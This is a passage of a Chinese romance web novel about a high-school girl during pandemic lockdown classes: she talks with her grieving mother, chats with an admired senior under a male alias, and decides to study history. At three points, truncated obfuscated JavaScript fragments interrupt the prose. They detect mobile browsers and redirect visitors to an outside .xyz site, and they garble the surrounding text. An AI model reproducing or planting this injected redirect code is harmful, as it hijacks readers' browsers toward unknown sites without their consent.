【贺颂之学长:学弟加油!(太阳)(太阳)】 余澄看着贺颂之给她发来的信息,不由得愣了愣。 她和甘茯苓都是早出晚归,每天能见到面的时间也就是早上餐桌前的那一小会儿。确实没有好好沟通过。 当年余梁的意外,让母女两个人都像带了刺一样。 本可以互相抱团取暖,却总是被彼此不经意地伤到。 余澄叹了一口气。 【。:嗯嗯,谢谢你,学长。】 她放下手机,推开自己的房门。 甘茯苓坐在沙发上,微俯着头。 留给余澄一个略显落寞的背影。 余澄走上前去,轻轻抚上甘茯苓的肩。 原来她也清瘦了不少。 “妈妈。” “余澄。” 两个人不约而同地顿了一下,余澄又开了口:“我有话想对你说。” 她坐到甘茯苓的身旁,组织了一下语言。 “妈妈,爸爸出了事之后,咱们就很少沟通了。好像隔阂也越来越深。” 甘茯苓抬眼看着她。 余澄突然就不敢看她的眼睛,低下头继续说:“我们一直都不怎么提爸爸。但是妈妈,我想说,我看历史书的时候,总是会想起他。” “看到将军出征的时候,会想起大漠孤烟里我们一家扎帐篷的场景。” “看到才子佳人,会想起江南水乡里咱们三个在小舟上听苏州评弹。” “看到英雄壮烈赴死,会想起爸爸在我小时候常常会在我的耳边读故事。” “妈妈,我的爱好,是爸爸一点一点塑造起来的。我是真心喜欢,也不打算放弃。” “爸爸离开我们三年了,我觉得,我们不能一直自欺欺人。不提他,特意规避他,才是对他的不尊重。” “我会好好学习,但我也不会放弃我的爱好。这点请您放心。” 她长篇大论地说完这番话,这才敢抬起头。 却看到甘茯苓早已哭花了妆。 她声音颤抖:“我真的很想你爸爸......” 余澄没有再说什么,只是紧紧抱住了甘茯苓。 有时候,体温比言语更能传递情感。 两个人静静拥了一会儿,甘茯苓放开余澄,用手拭干了泪。 她想作出平日里那种凶一些的样子,语气又硬了起来。 “你以后,想看就看吧。但是,要是成绩下滑了,我拿你是问!” “好。” 余澄点头:“那我回我房间啦。” 刚走几步,她又停下脚步。 轻声对甘茯苓道:“妈妈,以后有什么事也不要一个人扛着。不开心的时候,可以和我说呀。” 余澄关上自己的房门。 深呼吸,平复心情。 然后给贺颂之发信息。 【。:学长,我和妈妈聊过了。算是一定程度上解开了我们之间的心结吧,特别谢谢你呀。】 对面还是秒回。 【贺颂之学长:没事,你要感谢你自己的勇敢。(拥抱)(拥抱)】 他是真的上高三吗...怎么她每次发消息都能秒回...... 或许是隔了一层马甲,余澄跟他说话也没了那么大的顾忌。顺手就把心里所想发了出去。 【学长,你怎么每次都秒回啊......】 贺颂之:“......” 高三任务繁重,若是要认认真真写完作业,只怕得写到一两点去。 他做题,向来重视的都是思维。做作业都是挑自己觉得有用的写。 因此完成学校任务也挺早的。 老师们也知道他的学习风格,又因为他成绩好,就对他格外宽容。 所以不怎么计较他完成作业的情况。 而省出来的时间,比如现在—— 他要不就看看时政新闻,要不就刷刷其他省份的题。偶然兴起,甚至还会打几把游戏。 但这些,是千万不能和这个刚上高一的小学弟说的。 误人子弟了怎么办。 那他罪过就大了。 贺颂之沉思了一会儿,终于没有秒回。 余澄更加好奇。 贺颂之性格温柔,她胆子也不禁大了起来。 又发了个“?”。 半晌,那边回了一条简短的消息。 【贺颂之学长:天机不可泄露。】 余澄:“......” 这话让她莫名想起她错加的那个假道长。 您老现在,别说,还真有几分仙风道骨的气质呢...... 她很捧场地回复他。 【参见道长(膜拜)(膜拜)(膜拜)】 贺颂之也顺势跟她演了起来。 【贫道要休养生息了。不早了,赶紧休息吧。】 他不禁唇角微勾。 看来,“甘南寻”是个还挺有意思的小男孩。 贺颂之这个人还挺有意思的。 没什么架子。 余澄刚刚有点沉重的心情变得又稍微好了一些。 她回了个【嗯嗯,晚安】。 随即又埋身到她所热爱的故纸堆里。 * 在家的日子总是过得既短暂又漫长。 转眼间,时间迈进了冬日。 第二次月考终究还是没有如期举行。 按照这个发展趋势来看,只怕寒假之后才能返校了。 余澄还是坚持着每天认真听课。 即使是没有什么人听的文科课。 但在班里,人的专注力尚且不能集中。 更别说在家里,身旁就放着一个手机,虽然不能说话,却像是在无声地呐喊着:“快来和我玩!” 这一天,余澄正上着韩康安的物理课。 电脑上正放着一道物理题,一共三问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042240|162585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韩康安让大家先做着。 余澄大致看了眼前两问,发现自己都会。就放下心来,拿起手机开始摸鱼。 全班五十多个人,也就只抽三个人。 这被抽到的概率还是挺小的吧。 韩康安一连抽了两个人分别回答前两问,都不是余澄。 在抽人回答第三问时,他突然顿了顿。 余澄忽然就有了种不好的预感。 是那种每次被老师叫起来之前都会有的奇妙感觉。 不、会、吧。 下一秒—— “余澄,你来回答一下这个问题。” 好吧...... 余澄尽力看着屏幕里的题。 好像、真的、不是很会。 但抱着不能太过丢脸的念头,她把自己能想起来的公式随便套了一遍,迅速说了个乱七八糟的过程。 韩康安继续追问她这道题的过程,余澄支支吾吾地答不上来。 韩康安好像也意识到了这一点。 他找了个善意的借口问余澄:“是不是你那边网不好,有卡顿?” 余澄:“......嗯。” 韩康安没有再说什么。重新抽了个人来讲。 余澄松了一口气, 可难堪的情绪却后知后觉涌上心头。 她是个脸皮挺薄的人。平时会特别在意别人感受。 这种情况,不知道班级群里的人会怎么想她。 目光回到手机上,余澄下意识点开班级群。 没有老师的那种。 里面几个活泼的男生果然对此发表了意见。一个个发着调笑的评论。 可能他们自己觉得这是开玩笑, 但放在当事人心里,和重击无异。 【哈哈哈哈哈哈哈,下次我也用这法子,比去做核.酸显得还要更真实一些。(微笑)】 【你用这法子没用,一看就不是好学生。哈哈哈哈哈哈哈哈。(小丑)】 余澄心里有些止不住的难受。 董茵也知道她的性格,向她发来私信。 【别看我只是一只羊:余澄,他们也不是故意的,你千万不要往心里去啊。】 【追月亮的兔子:嗯,我明白,谢谢你啊。】 可是高敏感人格,怎么可能不在意。 余澄还是会止不住在心里想,那些人会怎么想她呢。 是投机取巧的骗子?还是表里不一的“乖学生”? 怕被影响,她直接把班级群屏蔽了。只要不特意搜索,就看不到。 可是过了一会儿,她还是没忍住。又打开了班级群。 就当她手欠吧。 明霜居然帮她说了话。 【美少女战士:在那儿开玩笑就算了,发什么阴阳怪气表情包】 那几个男生也顶了回去。 【开个玩笑,人家自己都没说什么,你跳这么高干啥?(狗头)】 【(死亡微笑)(死亡微笑)(死亡微笑)】 【美少女战士:素质是个好东西,可惜你们没有。】 【美少女战士:还有,以为表情包谁没有呢(狗头)(死亡微笑)】 眼见着战况愈演愈烈,裴凌出手了。 【A.:别吵了,看的我眼睛疼。和谐相处,大家心连心,共建地球村。】 【全体成员已被群主“A.”禁言15个小时】 这段闹剧才总算是落下了帷幕。 余澄揉揉太阳穴,还是有些不开心。 她这种性格很难改,但实在是有些影响生活了。 她迫切地想要寻求一个解决方法。 或许是之前就寻求过贺颂之帮助的缘故,又或许是人总是会对喜欢的人产生依赖心理,她还是想去找他问问。 而且,她也知道,他不会嘲笑她,而是一定会好好回答她。 12. 第二场雨 【一中-高一-甘南寻:学长,很抱歉又来打扰你了(大哭)】 【一中-高一-甘南寻:我总是会很在意别人的看法,即使他们没有恶意或者是说完了就忘。但我总是喜欢抠字眼,自己钻牛角尖,这该怎么办啊】 同样在摸鱼的贺颂之还是第一眼就看到了“甘南寻”的消息。 说实话,找他来咨询问题的人有很多很多。 但“甘南寻”这个小学弟给他的印象还是挺深刻的。 其他人问他的,要不就是如何提高自己的成绩,要不就是他为何能考那么高。 这还是第一次,有小朋友会一而再再而三问他关于自己的情绪方面的事情。 【hsz:你是高敏感人格啊。遇到让自己不开心的事,不要光自己忍着啊,要主动和他们说你不舒服的地方。】 【一中-高一-甘南寻:嗯。道理其实我都明白,但是自己来做的话,却怎么做都做不到......】 【hsz:为什么会这样呢?】 【一中-高一-甘南寻:我想了想,可能是因为,我总是会担心,自己说完之后,别人会觉得我事太多,从而对我印象太差】 余澄打完这么多字,手托起下巴,又陷入了沉思。 自己来找贺颂之,也是说了这么一大堆话,他会不会也嫌自己事多啊。 【贺颂之学长:先行动再说。】 【贺颂之学长:还有,不要预设那么多。想太多会阻碍自己前进。】 【贺颂之学长:人的性格不一样,你千万不要有负罪感。都是正常情绪。】 【贺颂之学长:他们不尊重你,那是他们自己的问题。不要把问题归结到自己身上。我就没觉得你事多。】 余澄眼睁睁看着他的话占满了自己大半个手机屏幕。 好吧...他看上去话比自己还多。 她想了想,继续打字。 【。:嗯嗯,谢谢学长。】 【贺颂之学长:多愁善感的。】 【贺颂之学长:小、男、孩。】 完了。 她不会被发现了吧。 余澄大脑飞速地运转着,想要找出一个比较合理的解释。 她半真半假地打下一大段字。 【。:嗯...我情绪确实波动很大。单亲家庭,和妈妈一起生活,可能缺了一份依靠,心就自然变得敏感了吧。别人都看动画片,我小时候却跟着妈妈看偶像剧,哭的稀里哗啦的。】 贺颂之看到这一段文字,愣了愣。 他看小学弟心情沉重,想开个玩笑逗一逗他。 却没想到,好像把人家给吓着了。 他急忙又发消息,安抚小学弟。 【hsz:对不起啊,我不是故意要惹你伤心的。】 【hsz:这样,我给你讲个事吧。我们班学习好的同学都被拉到一个腾讯会议里集训去了,就我一个人闲的没事干。你猜这是为什么?】 余澄果然被迅速转移了注意力。 他不是一向都是年级第一吗?难道...这次考砸了? 她小心翼翼想着合适的措辞安慰他。 【。:没事,阳光总在风雨后。这又不是高考。】 余澄等了三分钟,见贺颂之还没有回复,不免有些心急。 他是真的遇到什么事了吗...... 她在这个节骨眼上还去打扰他,虽然是无心,但也还是挺不礼貌的...... 【。:学长,你不会,在哭吧......】 这一次,贺颂之回的倒是挺快的。 【贺颂之学长:?】 【贺颂之学长:现在不是还是上课时间吗,我只是被老师抓去回答了个问题。】 【。:抱歉学长,让你想起了伤心事......】 【贺颂之学长:?什么伤心事???】 【贺颂之学长:算了,这件事我不细说了,说多了有点像自夸。总之,不是件坏事。相对来说可能还算老师对我的认可。】 【。:喔......】 【贺颂之学长:我说这件事,是想让你知道。每个人看问题都有不同的角度。其实我们班同学都知道这是件好事。可是不知道内情的人看呢,肯定就会觉得这个人学习很差。】 【贺颂之学长:你只要问心无愧就好,心要变得强大起来。我们的人生是自己过的,和那些过路人其实没什么太大关系。】 【。:嗯......】 “甘南寻”没有再回他的消息,可能去认真听课了吧。 贺颂之揉了揉发酸的眼睛,看了眼电脑右下方的时间。 刚刚过了十二点。 好像已经下课了...... 他靠在椅子上,刚想闭上眼睛休息一会儿,就听到自己的手机欢快地响起铃声。 叹了口气,贺颂之看向屏幕。 硕大的“周季青”三个字。 他刚一接起电话,就听到周季青一阵噼里啪啦。 “兄弟,今天冬令营开始集训了怎么没在会议里看到你名字。我报的清华。看到好多你们班同学名字。我记得你夏令营的时候不是拿了北大优秀营员吗?这次还去北大?那不多此一举吗。” 贺颂之淡淡笑了笑:“没去。” 周季青一愣,继续像机关枪一般快速说着:“不会是你们班老师不小心把你漏了吧,天哪,工作失误也不能失误到这种地步吧。你要是觉得尴尬不想说,我可以替你去说,把你们班主任电话给我啊,我现在就去打!” 贺颂之依旧云淡风轻:“你有没有想过,真相可能是相反的?” 周季青:“啊?” 贺颂之:“有没有一种可能,是老师故意把我漏掉的。” 周季青:“......” “不是兄弟,你在逗我?” 贺颂之慢条斯理地向他解释:“上次夏令营我可能比较幸运吧,蒙对的比较多。老师这次就不让我去了。觉得没必要。” 周季青:“?” 还是没忍住问:“蒙对的比较多是指?” “你确定要听?” “磨蹭什么,说吧。” 贺颂之和缓道:“可能,也就比,划的优秀营员线,要高上那么五十分吧。” 周季青:“......” 沉默半晌,他不禁叫出了声:“行啊你,遇到这种事都不发朋友圈,要是我就装把大的!” 周季青的同桌学习极为刻苦。只可惜在高手如林的班里,有时候努力实在是比不上天赋。这次冬令营没能入选,他还黯然神伤了好久。 而周季青本人,对学习也没怎么上心。他夏令营的时候还没有入围资格。硬是靠着天赋在冬令营勉强够上了学校允许递交资料的线。 他这人向来咋咋呼呼,当天就在动态发了好几条“哈哈哈哈哈哈哈哈哈本人运气真好!!!”庆祝。 却没想到,贺颂之这次不来的原因,竟然是之前考的太好。老师觉得他不需要双重保证,去冬令营和浪费时间没什么区别。 贺颂之回他:“得了,树大招风。你也少得瑟。赶紧把之前的动态删了。” 周季青得意道:“我不删。等老了,这可都是兄弟拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042241|162585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去吹的资本好吗。” 他又想起什么,问贺颂之:“对了兄弟,你一个人在家里,能撑这么久?” 贺颂之:“我会做饭。我们小区过三天就允许出门买一次菜。再不济,还有速食。” 周季青听了,这才放下心来:“能照顾好自己就好。爸爸就放心了。” 贺颂之:“......” * 这个冬天,一中的学生们最终还是没有能够成功返校。 线上期末考试的水分太大,校领导干脆就把期末考试放到了开春返校后的第一天。 寒假就这样开始了。 依旧是每天按部就班的流程。下楼做核酸,写作业,再线上聊聊天...... 好像和放假之前也没有太大的区别。 如果非要说有什么区别,那就是学校要求,高一年级每个人都要参与社区做核酸的志愿活动。 余澄已经很久没看班级群的消息。 但听董茵说,他们不是准备摆拍,就是想直接找人盖章子。 她却不太想那样做。 刚好,她所在的小区租房的高中生也确实很多。有同学也有相同的诉求。 家长们就在业主群里面互通消息。 甘茯苓在业主群里看到了其他家长分享的物业电话,转手就分享给了余澄。 余澄去联系了物业,沟通之后,把做志愿者的时间定在了具体的一天。 小区里老人也不少,起来时间早。所以每天做核酸的时间是六点到十点。 物业通知她,五点半要到门口集合。 早上五点,余澄睡眼惺忪地被闹钟叫醒。 她顾不上炸毛的头发,穿上衣服戴上口罩就出了门。 天还是蒙蒙亮,泛着灰灰的青色。 余澄从来没有五点起过,觉得新奇,就顺手拍了张天空的照片发动态。 【早起的鸟儿有食吃(花朵脸)(花朵脸)(花朵脸)】 她发完之后,就顺手把手机塞到了衣服兜里。在凌冽寒风中等着人来。 才等了没到几分钟,又来了一个男生志愿者。 余澄和他心照不宣地笑笑。 看来,这又是一个来完成学校任务的啊。 两个人简单交谈了几句,确定了他们的基本分工。 男生负责维持排队做核酸时队伍的纪律,余澄则负责给做完核酸的人发放贴纸。 发放贴纸是松陵当地所独有的。每一天发放的贴纸图案都不一样,有时是可爱的小动物,有时则是古迹建筑。用以激励广大市民朋友每天按时做核酸。 六点钟,开始陆陆续续地有早起的老人来了。 余澄站在做核酸的队伍后面,细心地不漏过每一个做完核酸的人,确保给每一个人都发放到手。 八点半左右,人开始陆陆续续地少了起来。 老人和还要上班的人们基本上都已经做完核酸了。年轻人和小孩子多数还没起来。 趁这个关头,余澄抓紧时间摸了个鱼。 她拿出手机,看着动态右上角多出的那个“2”,愣了愣。 三个半小时了...... 最多就两个人理她? 她人缘真的有差成这样吗? 余澄不可置信地点开那两条新消息。 【“贺颂之学长”赞了你的说说】 【“贺颂之学长”评论了你的说说:“太早了,学弟真勤奋啊(赞)”】 天、呐。 她怎么忘切号了。 啊啊啊啊啊啊啊啊啊啊啊啊啊啊!!!!!!!!!!! 13. 第二场雨 余澄每天睡觉前都会习惯性地切到小号,刷刷空间,看看贺颂之有没有发什么动态。 她自己只有他和“宁静致远”两个好友,感觉发什么都会显得刻意,就干脆不发动态,只给贺颂之点赞。 两个人这些天也没什么私下的联系,就维持着空间的“点赞之交”而已。 没想到,自己百密终有一疏,居然忘切号了。 不过,这条说说好像也没透露什么重要信息。应该...不会掉马吧。 她这么想着,低下头去,看到手机上又多了两条消息。 居然是贺颂之私发给她的。 【贺颂之学长:学弟,我突然觉得,你拍的照片角度有点眼熟。】 【贺颂之学长:我们好像一个小区。】 余澄的心跳好像停住了一刻。 她重新点进自己拍的那张照片。 双手放大。 天哪,她怎么把离学校最近的小区门拍上去了...... 她只能装作很自然地回复他:“哈哈,是吗,好巧。” 来做核酸的人又渐渐多了起来。 余澄也不敢摸鱼了,赶快认真地投入工作中。 九点半,人流量达到了最大的时候。 做核酸的队伍排得极长。 队伍一点一点往前移动。 余澄发了许久的贴纸,也觉得有些无聊。就不自觉地向后看去。 看着看着,就瞥到了一个熟悉的身影。 贺颂之今天穿了件白色的羊毛大衣,里面搭了件浅米色高领羊绒衫。还围了条灰豆沙色的围巾。 ......很精致了。 不过,他今天的发型倒是没怎么打理。碎发垂在额头前,显得有些慵懒。 好看是好看。但余澄真的怀疑,这人不冷吗? 有点冷。 贺颂之表面看着淡定,内心却止不住这么想。 家里地暖很给力,穿着单薄的家居服也不觉得冷。 他今早正写着历史小作文,写着写着就上了头,忘了看时间。 一看做核酸的时段就快过去了,他随便从衣柜里抽了几件衣服,一套就下来了。 直接忘了被他挂在衣架上的羽绒服。 贺颂之迫切想找点什么转移注意力。 目光不觉落在了眼前那个正走来走去,维持着队伍纪律的男孩。 他鼻子冻得有些红,显然是在那里站了许久了。 一个有些无厘头的念头忽然在贺颂之心中冒了出来。 甘南寻和自己是一个小区的,今天又起的格外早。 再结合昨天空间动态里有加的高一师妹吐槽:“垃圾一中,放假也不让人休息。寒假还非让人做什么志愿者。大大的唾弃!” 他懂了。 那个男生来来回回地转着,又走到了队伍最前面,与余澄相隔不远。 发贴纸的间隙,余澄不自觉看了眼贺颂之。 他居然也在看她的这个方向。 是巧合吗...... 会不会,他对她,也有着什么特殊印象呢。 队伍行进的很快。 贺颂之做完核酸,走到了余澄面前。 松陵统一发放的贴纸是一大张。上面有很多小方块状的贴纸。 为了让大家方便一点,余澄不厌其烦地把每一张贴纸都弄的微微翘边。这样对方手指一碰到胶,就能够快速地拿下来了。 贺颂之手指轻轻在翘边上一掀,将它随意贴在自己另一只手的手背上,转头就走。 全程都没有多看她一眼。 余澄:“?” 她还以为,他们起码会打个招呼。 下一秒,更奇怪的事情发生了。 贺颂之转头快速向他所在的单元楼方向走,还不忘对那个男生志愿者说了句“加油。” 噢,原来是碰到熟人了,所以心情激动啊。 看着贺颂之的身影渐渐远去,余澄也不再多想。继续专心投入工作。 说好的十点,却被一些睡懒觉十点才赶来排队的人硬生生磨到了十点半。 终于下班了。 余澄活动了下已经站麻了的腿。 这感觉...真的挺酸爽的。 她正发愁着怎么回家,就听见那个男生志愿者“哒哒”跑了过来。 男生一脸震惊:“同学,你听到了吗?!” 余澄:“啊?什么?” 男生继续激动道:“刚刚跟我说加油的男生,你知道是谁吗?高三的文科年级第一贺颂之啊!他居然主动和我说话!” 余澄从他这话中听出了一丝不对劲:“你们...不认识?” 男生:“我有他企鹅号,不过...这应该也算不上认识吧。加上之后连话都没说过。” 嗯。 还没我强。 不过贺颂之为什么要对他说加油? 余澄看了看男生通红的脸,心下了然。 嗯,贺颂之只是善良,想要鼓励一下敬业的小学弟罢了。 她刚刚有些低落的心情突然就好了起来。 自己裹得严实,没怎么受冻。 那么他没关注到自己,倒也很正常。 余澄点点头:“挺好的。” 她和男生一起去了物业,把学校要求收回的志愿证明表盖上了章,就此分别。 回到家,余澄洗完手,消完毒,拿出手机。 贺颂之居然在九点五十一的时候又给她发了条消息。 【贺颂之学长:天气冷,注意保暖。】 余澄目瞪口呆。 敢情他这温柔,是批发的啊! 不过,等她回过神来,又想起了早上贺颂之在她动态下的评论。 【贺颂之学长:我们好像一个小区。】 所以他...是把那个男生,认成了“甘南寻”吗? 一种奇异的感觉悄悄爬上余澄的心口。 有他认错人的遗憾、没看到自己的难过。 但更多的...还是窃喜。 即使她隐藏了身份,他也有在关注她...... * 春日和煦,一中终于如愿以偿,顺利开了学。 在开学补上的上学期期末考里,余澄并没有考好。依旧是班级二十多名。 一中向来重理轻文。因此高一上学期只有期末才考文科三门。并且每门只占四十分。 期末排名是不算文科在内的。但算了之后,余澄的排名会达到班级第八名。 韩康安又照例来找余澄谈话。 “余澄,你分析一下你的成绩,觉得能看出来什么?” 余澄想了想,不知道韩康安是什么意思,试探着问:“可能,说明,我适合学文?” 韩康安笑了笑:“哈哈......余澄,其实,我一直有在观察你。我觉得你还是挺有文科思维的。” “但我觉得,不到万不得已,你要不还是别学文了。学文实在是没什么前途。学理才好找工作。” 余澄点点头:“嗯,我会努力的。但是目前,我还是准备学理科。” 她这么说着,心里却不由得想。 难道学文就真的没有前途吗? 爸爸、贺颂之、还有她曾经在书中看到过的许许多多有风骨的文人们..... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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【。:我身边的老师、同学,大家都这么觉得...网上不是还说,文科生的上一个春天是宋朝吗。(笑哭)(笑哭)】 【贺颂之学长:这就要看,你对前途是什么定义了。光明的前途指的是什么?是钱多还是名声好?我个人认为,能做自己喜欢的事,追逐自己的理想,就已经很有前途了。】 【贺颂之学长:另外,每一个行业都有二八定律。做到顶尖是不会差的。我们都是顶尖中学的学生,不要妄自菲薄啊。】 【。:好...学长,我们高一结束就要选科了。我现在很纠结。该怎么办?】 【贺颂之学长:学弟,我也不太了解你的情况,没办法给你具体意见。但我觉得,你可以综合一下自己的爱好、目前的成绩和未来的规划好好分析一下。这是你自己的未来,没有人能替你做决定。】 【贺颂之学长:如果说到未来规划的话,你可以加几个已经上大学或者工作的学长学姐了解一下他们的专业和就业情况。你要是需要的话,我认识几个人,可以把他们推给你。】 他回想了一下自己高一的时候,就是去找他们都咨询了一遍,基本上对自己未来的路径有了基本认知,因此在选科方面也没有什么太多的纠结。觉得这个方法还挺有用的。就把自己的经验告诉了小学弟。 【。:谢谢学长...但是,还是不用了。】 余澄不是内向过了头,不愿意和人接触。 只是,她突然明白—— 如果要说理想,那么她的心中,已经有了一个确定的答案了。 她想要追随爸爸未竟的道路,学历史。 14. 第二场雨 余澄还是没有立刻做下决定。 她决定先把选科的烦心事抛在一边,先把后面的几次考试好好考了。 先踏踏实实地走好眼下的每一步。 到时候,时间自然会给出答案。 * 转眼间就到了四月。 万物苏新,春风和煦。 离高考只剩下不到两个月的时间。 晚自习前,余澄去语文老师办公室拿老师批改完的作业本。 她和往常一样路过拐角处的光荣榜。 却见那里并不复往日的安静。 而是聚满了人。 高三的男生们互相追逐着,嘴里还止不住叫着—— “把我照片还我!” “哈哈哈哈哈哈哈哈哈哈哈哈,不还,你来追我啊!” “来来来,把他照片扔给我!” “哎呀,过不了几天我们就天各一方了,把你照片送给兄弟做个念想呗!” “靠,我的照片又被谁拿了?别弄丢了!” “不是我,我可没拿啊!” 余澄停下了脚步。 她在吵闹的学长们艰难穿梭,最终还是顺利接近了光荣榜。 玻璃框里的照片少了好多张。 应该是他们在追逐打闹,互相把照片抽下来逗别人玩。 明明大家都是快要成年的年纪,却还这么幼稚。 可能是因为,这是在他们在学习高压之下,极少能拥有的快乐吧。 余澄眼光迅速略过一行又一行照片,还是没忍住锁定了那张照片。 最中间的贺颂之。 光荣榜的照片已经不知不觉换过新的一批了。 这次光荣榜上的贺颂之,头发比上次的长了一些,刘海温顺地靠在额前。 或许是学习太忙,没时间剪头发。 皮肤也白了许多。 应该是整天在教室学习,不见天日。 她眼神在上面停留了一会儿。 直到七点十分的高三晚自习铃声响起。 男生们一哄而散,纷纷往各自的教室走。 场面一度极为混乱。 余澄也反应了过来,继续往语文老师办公室走。 拿上作业本,她心不在焉地踏上返程。 路过文一的时候,没忍住往里面看了一眼。 贺颂之正背对着她,在给班里的同学分发练考的答题卡。 好久没看到他,他似乎又清瘦了一些。 一个离他很近的同学恰好与余澄的视线对上。 两个人尴尬地对视。 余澄怕贺颂之发现自己,连忙跑了。 这一跑,就跑到了那个拐角处。 她喘着气,平复呼吸。忍不住地胡思乱想。 其实,被发现了又能怎么样呢。 往路过的班级看一眼,这种行为很正常吧。 是她自己心里有鬼。 刚刚还热热闹闹的拐角,此时已经冷清了下来。 余澄的眼睛又不自觉地落到光荣榜上。 一通胡闹之后,上面的照片也回来了不少。 却还是有几个玻璃框里是空白的。 或许是有人藏起来,还没还回来。 又或许...在他们打闹的时候,照片已经丢了。 余澄脑海里忽然产生了一个荒唐的想法。 快要高考了。 即使一个班的同学,都会有离别的伤感。 那...她和贺颂之呢? 他们以后,是不是就再也没有见面的机会了...... 一股莫名的冲动涌上她的心头。 余澄环顾四周,确定没有人之后,深吸一口气。 把手里抱着的作业本放在地上。 右手迅速地把贺颂之的照片从玻璃框里取了出来,小心翼翼地装进校裤兜里,避免压皱。 在寂静的楼道里,她自己只能听到自己心跳激烈的鼓点声。 沉重有力地砸着自己的心房。 久久回响。 余澄弯下腰,从地上抱那沓起作业本。 直起身子,往回走的那一瞬间—— 楼道里忽然飞奔来两个男生。 应该是刚刚打完球,急匆匆往回跑的。 他们身上带着淡淡的汗水味。 “卧槽,今天理综之夜啊。咋办,做题要做不完了!” “刚才那局打的太猛了,忘了,靠!” 直到他们的身影消失在楼道,余澄方才长舒一口气。 差点就被发现了。 好险。 “真是太险了,又差点没做完题!” 贺颂之的同桌抱怨道。 十点钟的铃声刚刚响起。 第二节晚自习下了。 一中在高三下半学期有一个沿袭已久的传统。每周三晚上的晚自习都是“文综之夜”“理综之夜”。学校会拿出一份高考模拟真题,让同学们做。做完后自己批改。 贺颂之拿着红笔,一边对照着刚发下的选择题答案打对勾,一边回应着同桌。 “你可以精简点,没必要想到什么都写上去。应该时间就能充裕点了。” 同桌叫道:"哎呀,多写点说不定就能多几分,多几分说不定就能高好几名,高好几名学校档次可就不一样了啊!这是我的策略......" 许多男生在铃声响起的那一刻就如脱缰的骏马一般冲了出去,继续玩互相藏照片的游戏。 高强度、无止尽的两个半小时的书写,把人压抑的实在太狠。 贺颂之拍拍同桌的肩:“走吧,咱们出去透口气。” 他们走到教室外面,注意力不自觉地就放在了嘈杂的转角处。 贺颂之的同桌是个一心扑在学习中的腼腆男孩,小声道:“他们...还挺活泼的。” 贺颂之笑道:“都是人之常情。” 再没有点发泄情绪的地方,人说不定会被逼疯。 他还在那嬉闹的人群里,还看到了他好几个好朋友。 周季青向他跑了过来,一副幸灾乐祸的样子:“兄弟,你照片也没了,哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈。” 贺颂之倒是很淡定:“没事,一张照片而已。” 他双手插着兜,神色散漫道:“能让你和更多人开心,我还挺荣幸的。” 甘南寻:“......” * 回家之后,余澄把贺颂之的照片小心翼翼地拿了出来。 想了想,她还是把这张照片放到了她的文具盒最底下压着。 她的文具盒底部,压着许多小纸条。 只要没有人特意翻,应该是看不见的。 她把他的照片当作是自己的一道护身符。 有它在身边,心里好像就安宁了许多。 这学期的期中考试中,余澄考出了班级纯理科第六名。 韩康安找她谈话:“余澄,只要你保持住现在的成绩,进松陵大学是完全没问题的。我还是劝你最好别去学文。你现在理科又不差。还是多为自己未来想想吧。” 松陵大学是松陵本地最好的学校,在985大学里也能够排在前列。 但余澄却不太满足于这个结果。 她真的不想一辈子呆在松陵这一个城市。 趁着年轻,余澄想去更大的城市闯荡闯荡。去看看更广阔的世界为自己拼一个可能性更多的未来。 另外,经过长时间的学习,她好像越来越意识到,自己对理科没什么太大兴趣。 贺颂之对她说的话,她也不是没听进去。 自己也有在网上查了查各个专业的基本情况。 结果就是,即使不学历史,她更想学的也是中文、哲学等人文科学相关专业。能接受的最低限度是社会科学相关的学科。对于理工科,她真的喜欢不了一点。 余澄对韩康安乖巧地点头。 表面上认真在听。心却早已在不知道什么时候飞到了家里—— 她迫不及待地想去和甘茯苓聊聊。 * “和我聊聊?” 甘茯苓刚回到家,放下包,还没坐下。就看到余澄走出房间,说要和她谈心。 “嗯。” 余澄没有回避她的视线,迎了上去。 她们肩并肩坐到了沙发上,余澄这才开了口。 “妈妈,这件事我想了很久了。眼见离分科就只剩下一个多月,我还是想把我的心里话说出来。” “我想选文。” 甘茯苓冷冷道:“余澄,你现在胆子是越来越大了是吗?” “我让你选理科是为了你好。” 余澄没有被她吓到。 她看甘茯苓的脸色,知道她并没有特别生气。 只是余澄还从来没有和她提过这件事,她一时接受不了而已。 余澄站了起来。 “妈妈,我理解你的心情。但是,我真的不想选一个不喜欢的专业,做不喜欢的工作。一辈子就这样莫名其妙过去了。” “我这段时间,也认真思考过了,想选文真的不是一时冲动。我是觉得,如果我学了文科,应该能去一个比松陵大学更好的学校。而且,还能做自己热爱的事情。” 甘茯苓看着她,没有发火,但一脸疲惫:“你是忘了前车之鉴吗?余澄,我只有你了,我不想你再出什么意外......” 余澄摇了摇头:“我不敢忘,也不能忘。妈妈,我想好了。当年爸爸学的是考古,实操性强,所以才会出现意外。我想学历史,不做实地工作。会尽可能保证自己的人身安全。” 甘茯苓沉默了片刻,又看向她:“你......真的想清楚了?” 余澄点点头:“妈妈,这是我自己的人生。我希望自己未来在回想自己的一生的时候,不会觉得过的稀里糊涂。” 